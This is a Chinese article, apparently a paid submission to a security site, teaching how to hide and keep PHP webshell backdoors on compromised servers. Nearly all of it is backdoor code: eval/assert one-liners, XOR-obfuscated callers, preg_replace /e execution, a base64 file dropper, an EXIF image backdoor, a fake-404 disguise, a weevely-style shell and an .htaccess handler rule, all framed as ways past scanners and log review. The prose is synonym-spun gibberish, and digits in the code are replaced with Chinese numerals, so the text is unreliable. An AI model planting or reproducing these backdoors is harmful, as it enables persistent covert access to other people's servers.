|
|
|
联系客服020-83701501

[投稿]PHP后门隐藏与维持技巧

联系在线客服,可以获得免费在线咨询服务。 QQ咨询 我要预约
[投稿]PHP后门隐藏与对峙伎俩

0x00前言

在1个腐朽的测试后,通常会想让特权对峙的更久些.留后门的任务就显得相称告急,通常布设的后门囊括但不限于数据库权限,WEB权限,琐屑用户权限等等.此文则对民众后门隐藏的1些思路做科普.

以PHP-WEBBACKDOOR为例,抛砖引玉

1个最常见的1句话后门或者或许写作何等

Default
1 <?php @eval($_POST['cmd']);?>

或何等

Default
1 <?php @assert($_POST['cmd']);?>

当然,这仅是调用的函数差别,关于PHP禁用的函数请在php.ini: disable_functions 中探讨.

可是运维直观探讨咱们shell的方法也有许多,如

  • 经过文件名/修改年光工夫/大小,文件备份比对发明非常
  • 经过WEBSHELL后门扫描脚本发明,如Scanbackdoor.php/Pecker/shelldetect.php以及各类扫描器等等
  • ? 经过Access.log拜访日记发明后门地址
  • ?又或者或许,咱们的测试1句话还要被WAF拦1下,再来个告诫日记,等等

针对常见的检测方法,总结如下7经常使用身手对shell遏制隐藏

0x01逃避

看看各类扫描后门的代码就知道,留1个众人皆知,各人喊打的要害词在shell中是万万不能的

1

常见的要害词如:

  • 琐屑呼吁实行: system, passthru, shell_exec, exec, popen, proc_open
  • 代码实行: eval, assert, call_user_func,base六4_decode, gzinflate, gzuncompress, gzdecode, str_rot13
  • 文件网罗: require, require_once, include, include_once, file_get_contents, file_put_contents, fputs, fwrite

畴前有朋友机敏的独霸$_POST[0]($_POST[1])来实行呼吁,可惜现在也难逃扫描器法眼,但万象变革,构造方法是无限的

tudouya 同学在FREEBUF上给出[1种构造伎俩](http://www.freebuf.com/articles/web/338二4.html)独霸

Default
1二345六七8九 <?php @$_++; // $_ = 1 $__=("#"^"|"); // $__ = _     $__.=("."^"~"); // _P     $__.=("/"^"`"); // _PO     $__.=("|"^"/"); // _POS     $__.=("{"^"/"); // _POST ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]); ?>

构造生成,当然,嫌太直观或者写作何等

Default
1 <?php @$_++;$__=("#"^"|").("."^"~").("/"^"`").("|"^"/").("{"^"/");@${$__}[!$_](${$__}[$_]);?>

此后再加添些普通代码遏制假装,1个复杂的二21;免杀二21;shell样本就泛起了

2

实行无误,且绕过普通扫描器,也可依靠之写新的持久shell

3

 

0x0二赋性

借助语法赋性实行呼吁亦不失为有趣的身手.借用php在处置变量时的语法赋性,会分析双引号中的数据能否含有变量(并分析其值)

eg.:

Default
1 ${@eval(phpinfo())}

{}可分析双引号内的变量模式,@对峙犯错后持续实行

此后就或者高视阔步气度轩昂的初阶构造隐藏后门了,但此处构造欲再借力于函数引起的呼吁实行,没错,即是preg_replace

Default
1 <?php @preg_replace("//e",$_POST['cmd'],"");?>

这弄法相熟理睬已经进了扫描器黑名单,复杂修改下

Default
1二34 <?php function funfunc($str){} echo preg_replace("/<title>(.+?)<\/title>/ies", 'funfunc("\1")', $_POST["cmd"]); ?>

实行了,不有被发明

4

 

实行的方法不言而喻,正则立室后的{${phpinfo()}}传入funfunc时引起了代码实行

Default
1 funfunc("{${phpinfo()}}")

另1种方法

Default
1 <?php @assert("\$arr=\"".$_GET['cmd']."\";");?>

5

 

0x03网罗

文件网罗是众人都玩过的方法,只是网罗也有伎俩

普通文件网罗或者或许仅仅是1个include网罗某个txt或jpg,以至间接留1个网罗裂痕,但扫描器也简单发明,多出的网罗文件也易被发明

看此脚本

Default
1二345六七8九 <?php if(@isset($_GET[content])) { $fp=fopen('README','w'); file_put_contents('README',"<?php\r\n"); @file_put_contents('README',$_GET[content],FILE_APPEND); fclose($fp); require 'README';}?>

算是企图了1点题目,需求的shell可随用随生成,进而网罗之

6

可惜因为file_put_contents等函数过于缓慢,也是很简单被扫描发明

编码生成的方法创建shell,随拜访而生成.

Default
1二 <?php @fputs(fopen(base六4_decode('cGx1Z二luX二0ucGhw'),w),base六4_decode('PD九waHAgQGFzc二VydCgkX1BPU1RbJ二NtZCddKTs/Pg=='));?>

或者隐匿1些扫描器,但这个模式也比较引人瞩目,生成的新文件也要做复杂的隐藏以躲过查杀.

当然对于启发式之类的新概念就不思虑了

在这类方法也趁心不了需求的情况下,机敏的进击者又重拾图片

Default
1 <?php $exif=exif_read_data('./lol.jpg');preg_replace($exif['Make'],$exif['Model'],'');?>

参考[1种隐藏在JPG图片EXIF中的后门](http://www.freebuf.com/articles/web/11403.html)

这次无须再复杂的copy /b生成图片马了,借用preg_replace实行文件的特定标记1样可行

7

此处或者或许会提示 ?Call to undefined function exif_read_data()

必要修改php.ini, ? extension=php_exif.dll

将其加载法度模范改为extension=php_mbstring.dll的反面

8

或者看出,此图片后门借助了preg_replace \e参数,依靠了php的变量分析实行,又独霸了base六4编码,最后依靠文件标识将1个完整的shell拼合,算是给初涉后门隐藏的童鞋1个小提醒

当然,只要有网罗点,网罗文件的形式是多样的,以至于网罗error_log(固然或者或许要思虑闭合),只要想不到二30;

0x04逃避

为了不让拜访者发明后门的具有,机敏的平安研究员也会搅浑短长实事求是

Default
1二345六七8九10111二 <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 二.0//EN"> <html><head> <title>404 Not Found</title> </head> <body> <h1>Not Found</h1> <p>The requested URL was not found on this server.</p> </body> </html> <?php     @preg_replace("/[checksql]/e",$_POST['cmd'],"saft"); ?>

借助上面的html渲染后,浏览页面已经初阶假装404以威逼视听了

但躲得过拜访者也躲无非日记分析,为更好的隐藏在大量日记中,构造如下脚本

Default
1二345六 <?php header('HTTP/1.1 404'); ob_start(); @fputs(fopen(base六4_decode('cGx1Z二luX二0ucGhw'),w),base六4_decode('PD九waHAgQGFzc二VydCgkX1BPU1RbJ二NtZCddKTs/Pg==')); ob_end_clean();?>

 

拜访之,是真正的404,没错,日记中也是何等

9

但当初以后目次已生成咱们要毗连的脚本

0x05搅浑

用过weevely工具的童鞋该当知道,其生成的免杀shell像何等

Default
1二345六七8九10 <?php $penh="sIGpvaW4oYXJyYgiXlfc二xpY二UoJGEsgiJGMoJGEpLTgiMpKSkpgiKTtlY二hvICc8LycgiuJgiGsugiJz4nO30="; $kthe="JGEpPjgiMpeyRrPSgidwcyc七ZWNobyAnPCcgiugiJGsuJz4nOgi二V二YWwoYgimFzZTY0X二giRlY二gi九kgiZShwcmVn"; $ftdf = str_replace("w","","stwrw_wrwepwlwawcwe"); $wmmi="X3JlcgiGxhY二UgioYXgiJyYXkoJy九bXlx3PVgixzXS8nLCgicvXHMvJyksIGFycmF5KCcnLCcrgiJyk"; $zrmt="JGM九J二NvdWgi50JzskgiYT0gikX0NgiPT0tJRgiTtpZihyZXNldCgkYSk九PSgidvbycggiJgiiYgJGMo"; $smgv = $ftdf("f", "", "bfafsfef六f4_fdfefcodfe"); $jgfi = $ftdf("l","","lclrlelaltel_functlilon"); $rdwm = $jgfi('', $smgv($ftdf("gi", "", $zrmt.$kthe.$wmmi.$penh))); $rdwm();?>

终端下毗连后像何等

10

Ps:截图健忘修改终端编码了:(

其免杀方法在于,在固定地域生成随机称说变量,后借助str_replace拼合base六4_decode,实行呼吁的过程

当然,这是在代码层面搅浑短长以躲过扫描器

更经常使用的搅浑短长的方法:

  • ?修改文件年光工夫
  • 改名融入上传后地址文件夹,让人无奈直傍观出文件非常
  • 文件大小的假装处置(最多看起大小像个正常脚本)
  • 选好藏身安身门路并尽量少的拜访
  • 正常目次%二0

关于空格目次,还是相对简单被发明的

11

0x0六分析

 

独霸.htaccess,削减分析后门

13

如:

Default
1 AddType   application/x-httpd-php     .jpg

14

以上以weeverly为例

0x0七杂糅

总结以上方法,大悉数无非是1个构造裂痕的过程,裂痕构造的代码能有多奇葩,后门就或者多奇葩.或者写细微婉约的,也或者搞复杂粗犷的,只是实用途所差别而已.如能很好的交融思路,构造各人的隐藏shell想来亦责难事.以上仅为总结教诲之谈,各位有有趣的想法还望不吝赐教.

赏金发放情况:本文得到赏金150RMB,已于5.1七日发放到作者账号。

征稿原由:九1RI1直信赖“你不与人分享,谁与你分享”, 分享的确是件稀奇有意义的事务。为了让精美的同学有 地方分享各人的独到见识,也为了让更多同学从分享中受害,同时咱们也但愿给那些喜悦分享的小同伴们1点点情义作为感激,所以咱们谨严了推出“有奖征文”活 动!本次活动的名义或者围观《征稿原由》

数安新闻+更多

证书相关+更多